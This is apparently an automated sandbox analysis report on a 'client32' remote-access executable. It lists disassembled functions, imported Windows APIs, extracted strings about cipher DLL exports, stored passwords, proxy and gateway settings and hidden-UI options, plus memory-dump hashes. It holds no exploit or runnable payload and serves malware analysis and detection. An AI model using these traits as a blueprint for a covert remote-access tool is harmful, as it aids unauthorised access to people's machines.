GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11086A7A
LoadLibraryA.KERNEL32(?), ref: 11086ABC
GetProcAddress.KERNEL32(?,CipherServer_Create), ref: 11086AD7
GetProcAddress.KERNEL32(?,CipherServer_Destroy), ref: 11086AEC
GetProcAddress.KERNEL32(00000000,CipherServer_GetInfoBlock), ref: 11086AFD
GetProcAddress.KERNEL32(?,CipherServer_OpenSession), ref: 11086B0E
GetProcAddress.KERNEL32(?,CipherServer_CloseSession), ref: 11086B1F
GetProcAddress.KERNEL32(00000000,CipherServer_EncryptBlocks), ref: 11086B30

Strings

CipherServer_OpenSession, xrefs: 11086B08
CryptPak.dll, xrefs: 11086A2B, 11086A8E
CipherServer_CloseSession, xrefs: 11086B19
CipherServer_EncryptBlocks, xrefs: 11086B2A
CipherServer_GetRandomData, xrefs: 11086B4C
CipherServer_DecryptBlocks, xrefs: 11086B3B
CipherServer_ResetSession, xrefs: 11086B5D
CipherServer_GetInfoBlock, xrefs: 11086AF7
CipherServer_Create, xrefs: 11086AD1
CipherServer_Destroy, xrefs: 11086AE6

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$FileModuleName
String ID: CipherServer_CloseSession$CipherServer_Create$CipherServer_DecryptBlocks$CipherServer_Destroy$CipherServer_EncryptBlocks$CipherServer_GetInfoBlock$CipherServer_GetRandomData$CipherServer_OpenSession$CipherServer_ResetSession$CryptPak.dll
API String ID: 2201880244-3035937465
Opcode ID: ae871db5d7610564588830e50a3b7e849eec5d3f4cd297b35e657d5bd847a740
Instruction ID: dace89b413b7c80efca81dff4c2248eaeba40c207e9952549beb6cb8df15ad3c
Opcode Fuzzy Hash: ae871db5d7610564588830e50a3b7e849eec5d3f4cd297b35e657d5bd847a740
Instruction Fuzzy Hash: 6551D174A043499BD710DF7ADC80AA6FBE8AF54308B1685AED889C7684DB71E844CF54

Function 11142400 Relevance: 37.4, APIs: 3, Strings: 18, Instructions: 677registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000), ref: 111424BA

Strings

IsA(), xrefs: 11142C4D
IKS.LIC, xrefs: 111424DF, 111424E6, 1114250D
Del [%s]%s=%s, xrefs: 11142A15
NSA.LIC, xrefs: 111424CF
client, xrefs: 111428E3
RoomSpec, xrefs: 11142947, 11142BFA
Chg [%s]%s=%s, xrefs: 11142A75
Add [%s]%s=%s, xrefs: 111429B6
Warning. Can't calc AD policy changes, xrefs: 11142905
_debug, xrefs: 11142966
Client, xrefs: 1114294C, 11142BFF
TracePolicyChange, xrefs: 11142961
NSM.LIC, xrefs: 111424C0
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 11142C48
Info. Lockup averted for AD policy changes, xrefs: 1114269D, 111426C4
Info. Policy changed - re-initui, xrefs: 11142B92
client., xrefs: 111428C6
Info. Policy changed - reload transports..., xrefs: 11142BB6

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Close
String ID: Add [%s]%s=%s$Chg [%s]%s=%s$Client$Del [%s]%s=%s$IKS.LIC$Info. Lockup averted for AD policy changes$Info. Policy changed - re-initui$Info. Policy changed - reload transports...$IsA()$NSA.LIC$NSM.LIC$RoomSpec$TracePolicyChange$Warning. Can't calc AD policy changes$_debug$client$client.$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 3535843008-1834795898
Opcode ID: 94a73b77105bd84d94668242f28501390e16c566680df690e894548eff980490
Instruction ID: 10cc70918df64a5c5cf34de13f95fa07aae05e5e56373ca92022ad8c72469b22
Opcode Fuzzy Hash: 94a73b77105bd84d94668242f28501390e16c566680df690e894548eff980490
Instruction Fuzzy Hash: 69420874E002699FEB11CB60DD50FEEFB75AF95708F1040D8D909A7681EB72AAC4CB61

Function 11074CD0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 294threadtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

InitializeCriticalSection.KERNEL32(0000000C,?,?), ref: 11074DB5
InitializeCriticalSection.KERNEL32(00000024,?,?), ref: 11074DBB
InitializeCriticalSection.KERNEL32(0000003C,?,?), ref: 11074DC1
InitializeCriticalSection.KERNEL32(0000DB1C,?,?), ref: 11074DCA
InitializeCriticalSection.KERNEL32(00000054,?,?), ref: 11074DD0
InitializeCriticalSection.KERNEL32(0000006C,?,?), ref: 11074DD6
_strncpy.LIBCMT ref: 11074E38
ExpandEnvironmentStringsA.KERNEL32(?,?,00000100,?,?,?,?,?,?,?), ref: 11074E9F
CreateThread.KERNEL32(00000000,00004000,Function_00070F90,00000000,00000000,?), ref: 11074F3C
FindCloseChangeNotification.KERNEL32(00000000,?,?,?,?,?,?,?), ref: 11074F43
SetTimer.USER32(00000000,00000000,000000FA,110641A0), ref: 11074F87
std::exception::exception.LIBCMT ref: 11075038
__CxxThrowException@8.LIBCMT ref: 11075053

Strings

DefaultUsername, xrefs: 11074E80
Password, xrefs: 11074EF3
RememberPassword, xrefs: 11074E50
destroy_queue == NULL, xrefs: 11074DEB
General, xrefs: 11074E55, 11074E85, 11074EF8
..\ctl32\Connect.cpp, xrefs: 11074DE6

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$ChangeCloseCreateEnvironmentException@8ExpandFindNotificationStringsThreadThrowTimer_malloc_memset_strncpystd::exception::exceptionwsprintf
String ID: ..\ctl32\Connect.cpp$DefaultUsername$General$Password$RememberPassword$destroy_queue == NULL
API String ID: 328462399-1497550179
Opcode ID: ab7e60a43ed30bbed14256cc4f133f9afa5d8c2c4f84f2114a22e1cdf39ff5f9
Instruction ID: be8de8c7dcaf1f52642e817c04f951357ea42bbf71f0edf47656a93d7d63f3b4
Opcode Fuzzy Hash: ab7e60a43ed30bbed14256cc4f133f9afa5d8c2c4f84f2114a22e1cdf39ff5f9
Instruction Fuzzy Hash: 0FB1C6B5E40359AFD711CBA4CD84FD9FBF4BB48304F0045A9E64997281EBB0B944CB65

Function 11139A70 Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 348windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11145C70: GetVersionExA.KERNEL32(111F1EF0,75A78400), ref: 11145CA0
Part of subcall function 11145C70: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 11145CDF
Part of subcall function 11145C70: _memset.LIBCMT ref: 11145CFD
Part of subcall function 11145C70: _strncpy.LIBCMT ref: 11145DCA

PostMessageA.USER32(00170222,000006CF,00000007,00000000), ref: 11139C4F

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

SetWindowTextA.USER32(00170222,00000000), ref: 11139CF7
IsWindowVisible.USER32(00170222), ref: 11139DBC
GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,00000000), ref: 11139DDC
IsWindowVisible.USER32(00170222), ref: 11139DEA
SetForegroundWindow.USER32(00000000), ref: 11139E18
EnableWindow.USER32(00170222,00000001), ref: 11139E27
IsWindowVisible.USER32(00170222), ref: 11139E78
IsWindowVisible.USER32(00170222), ref: 11139E85
EnableWindow.USER32(00170222,00000000), ref: 11139E99
EnableWindow.USER32(00170222,00000000), ref: 11139DFF

Part of subcall function 11132120: ShowWindow.USER32(00170222,00000000,?,11139EA2,00000007,?,?,?,?,?,00000000), ref: 11132144

EnableWindow.USER32(00170222,00000001), ref: 11139EAD

Strings

Client, xrefs: 11139AF1, 11139B9B, 11139BD4, 11139C32
ShowUIOnConnect, xrefs: 11139C2D
HideWhenIdle, xrefs: 11139AEC
LockedText, xrefs: 11139BCF
ViewedText, xrefs: 11139B7B
ConnectedText, xrefs: 11139B88, 11139B97

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$EnableVisible$Foreground$MessageOpenPostShowTextVersion__wcstoi64_memset_strncpy
String ID: Client$ConnectedText$HideWhenIdle$LockedText$ShowUIOnConnect$ViewedText
API String ID: 3453649892-3803836183
Opcode ID: 77f0fc716c5108730fe3721f30b933414b82ace8a427d74df6603177c94951ec
Instruction ID: ba9ac0b981c1f0862d5fa69d940274f40709b6541bdede94fe31ed47de48390e
Opcode Fuzzy Hash: 77f0fc716c5108730fe3721f30b933414b82ace8a427d74df6603177c94951ec
Instruction Fuzzy Hash: 64C12B75A1127A9BEB11DBE0CD81FAAF766ABC032DF040438E9159B28CF775E444C791

Function 110305F5 Relevance: 31.6, APIs: 5, Strings: 13, Instructions: 149windowCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11030645
PostMessageA.USER32(NSMWControl32,00000000,Default,UseIPC,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 11030797

Strings

NSTWControl32, xrefs: 110307EA
Default, xrefs: 1103078B, 110307BA, 110307E3
NSMWClass, xrefs: 1103062F
TraceIPC, xrefs: 1103069F
_debug, xrefs: 110306A4
Client, xrefs: 11030671
UseIPC, xrefs: 1103066C
*ListenPort, xrefs: 1103073E
NSMWControl32, xrefs: 11030792
Ready, xrefs: 11030801
TCPIP, xrefs: 11030743
NSSWControl32, xrefs: 110307C1
Global\NSMWClassAdmin, xrefs: 1103063A

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessagePostwsprintf
String ID: *ListenPort$Client$Default$Global\NSMWClassAdmin$NSMWClass$NSMWControl32$NSSWControl32$NSTWControl32$Ready$TCPIP$TraceIPC$UseIPC$_debug
API String ID: 875889313-3431570279
Opcode ID: 52e4332a4f1a6695b503962eca77932fd89c869ac73ece535db52d27cb53eafb
Instruction ID: 917d364d5c6b0b603fb0f9ba81c7ab37e2e4bb2b49ece13a51dcd12a3dfde8f6
Opcode Fuzzy Hash: 52e4332a4f1a6695b503962eca77932fd89c869ac73ece535db52d27cb53eafb
Instruction Fuzzy Hash: C251FC74F42366AFE712CBE0CC55F69F7957B84B0CF200064E6156B6C9DAB0B540CB95

Function 110310D5 Relevance: 30.1, APIs: 9, Strings: 8, Instructions: 315COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 110310D9
GetStockObject.GDI32(0000000D), ref: 110312E6
GetObjectA.GDI32(00000000,0000003C,?), ref: 110312F6
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 11031334
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 1103133A
InterlockedExchange.KERNEL32(02DD8D80,00001388), ref: 110313BA
GetACP.KERNEL32(?,?,?,?,?,?,?,00000050), ref: 110313EC

Strings

j, xrefs: 11031341
j0U, xrefs: 11031554
*, xrefs: 11031381
.%d, xrefs: 110313F6
Error %s unloading audiocap dll, xrefs: 11031603
, xrefs: 110313C2
pcicl32, xrefs: 110314C5
&, xrefs: 11031585

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorModeObject$ExchangeInfoInterlockedNativeStockSystem
String ID: .%d$Error %s unloading audiocap dll$j0U$pcicl32$&$*$j$
API String ID: 1428277488-3745656997
Opcode ID: 7ab4675b5621614b5560d1b38db1ee70649d60d135089b240ffcc9cb50bab512
Instruction ID: bbabce5d96ec2c90806d5611ae465d21da0aa0097d7318abfc1e6149708f9681
Opcode Fuzzy Hash: 7ab4675b5621614b5560d1b38db1ee70649d60d135089b240ffcc9cb50bab512
Instruction Fuzzy Hash: 60C137B0E162759EDF02CBF48C847DDFAF4AB8830CF0445BAE855A7285EB715A80C752

Function 110310AC Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 249COMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

GetStockObject.GDI32(0000000D), ref: 110312E6
GetObjectA.GDI32(00000000,0000003C,?), ref: 110312F6
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 11031334
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 1103133A
InterlockedExchange.KERNEL32(02DD8D80,00001388), ref: 110313BA
GetACP.KERNEL32(?,?,?,?,?,?,?,00000050), ref: 110313EC
_sprintf.LIBCMT ref: 11031401
_setlocale.LIBCMT ref: 1103140B

Strings

j, xrefs: 11031341
j0U, xrefs: 11031554
*, xrefs: 11031381
.%d, xrefs: 110313F6
Error %s unloading audiocap dll, xrefs: 11031603
, xrefs: 110313C2
pcicl32, xrefs: 110314C5
&, xrefs: 11031585

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorModeObject$ExchangeInterlockedStock_malloc_memset_setlocale_sprintfwsprintf
String ID: .%d$Error %s unloading audiocap dll$j0U$pcicl32$&$*$j$
API String ID: 4242130455-3745656997
Opcode ID: 9ce7f7efe95e834453681c4923fbfa899ecbeaf8ae4f254e48ac6de1b4bac228
Instruction ID: e9c6acc14f93b40a3e0eb8b8fbec85b26532d2932113fe6213d234842048e606
Opcode Fuzzy Hash: 9ce7f7efe95e834453681c4923fbfa899ecbeaf8ae4f254e48ac6de1b4bac228
Instruction Fuzzy Hash: 9891F6B0E06365DEEF02CBF488847ADFFF0AB8830CF1445AAD45597285EB755A40CB52

Function 110287A0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 130librarysynchronizationCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000102,NSM.LIC,00000009), ref: 110287F1

Part of subcall function 11081E00: _strrchr.LIBCMT ref: 11081E0E

wsprintfA.USER32 ref: 11028814
WaitForSingleObject.KERNEL32(?,000000FF), ref: 11028859
GetExitCodeProcess.KERNEL32(?,?), ref: 1102886D
wsprintfA.USER32 ref: 11028891
CloseHandle.KERNEL32(?), ref: 110288A7
CloseHandle.KERNEL32(?), ref: 110288B0
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,?,?,?,?,NSM.LIC,00000009), ref: 11028911
GetModuleHandleA.KERNEL32(00000000,00000000,?,?,?,?,?,NSM.LIC,00000009), ref: 11028925

Strings

", xrefs: 110287EA
NSM.LIC, xrefs: 110287B9, 110288D0
SetClientResLang called, gPlatform %x, xrefs: 110287BC
Locales\%d\, xrefs: 11028881
\GetUserLang.exe", xrefs: 1102880E
Setting resource langid=%d, xrefs: 110288D1
pcicl32_res.dll, xrefs: 110288E9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Handle$CloseModulewsprintf$CodeExitFileLibraryLoadNameObjectProcessSingleWait_strrchr
String ID: "$Locales\%d\$NSM.LIC$SetClientResLang called, gPlatform %x$Setting resource langid=%d$\GetUserLang.exe"$pcicl32_res.dll
API String ID: 512045693-419896573
Opcode ID: 4194357b8a76256af92b6f7944f8688d207fe32debab0c1448cef28b04dbc8d5
Instruction ID: fa2db278f690afc2f691dfd055e17c1d40a227d38623a0fdca6da18cc7b7963a
Opcode Fuzzy Hash: 4194357b8a76256af92b6f7944f8688d207fe32debab0c1448cef28b04dbc8d5
Instruction Fuzzy Hash: 4F41B679E40228ABD714CF94DC89FE6B7A8EB45709F0081A5F95497284DAB0AD45CFA0

Function 6EF033A0 Relevance: 27.6, APIs: 2, Strings: 16, Instructions: 571COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 6EF034FD
wsprintfA.USER32 ref: 6EF03727

Strings

%s:%s, xrefs: 6EF03721
*WebProxy, xrefs: 6EF03459
ProxyUsername, xrefs: 6EF036E0
UsePinProxy, xrefs: 6EF035D0
Gateway, xrefs: 6EF03577
*GatewayAddress, xrefs: 6EF03430
*UseWebProxy, xrefs: 6EF0343C
Gateway_WebProxy, xrefs: 6EF0359D
:%d, xrefs: 6EF034F7
*PINServer, xrefs: 6EF035C4
ProxyPassword, xrefs: 6EF036F7
PinProxy, xrefs: 6EF035ED
P, xrefs: 6EF03533
client247, xrefs: 6EF0362F
Gateway_UseWebProxy, xrefs: 6EF03585
ProxyCred, xrefs: 6EF0362A

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s:%s$*GatewayAddress$*PINServer$*UseWebProxy$*WebProxy$:%d$Gateway$Gateway_UseWebProxy$Gateway_WebProxy$P$PinProxy$ProxyCred$ProxyPassword$ProxyUsername$UsePinProxy$client247
API String ID: 2111968516-2157635994
Opcode ID: b1213b1c1b7755fc8d3fa045b13b2f8ec33e5a0eb188f85ee3bd666b0f6f2200
Instruction ID: 0296eb9e5139573654642e0e6c79d61a14b0bc8e5be0ff8a06591c480a7f981f
Opcode Fuzzy Hash: b1213b1c1b7755fc8d3fa045b13b2f8ec33e5a0eb188f85ee3bd666b0f6f2200
Instruction Fuzzy Hash: FD2294B2A00269AFDB20CFD4CCA4EEAB7BDAB49304F0485D9E54D67540D6315F85CF91

Function 110860E0 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 218libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(PCIINV.DLL,EFF676FC,03407888,03407878,?,00000000,1118368C,000000FF,?,11032002,03407888,00000000,?,?,?), ref: 11086115

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

Part of subcall function 11110280: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EDC3F0,?,11110F3D,00000000,00000001,?,?,?,?,?,11031700), ref: 1111029E

GetProcAddress.KERNEL32(00000000,GetInventory), ref: 1108613B
GetProcAddress.KERNEL32(00000000,Cancel), ref: 1108614F
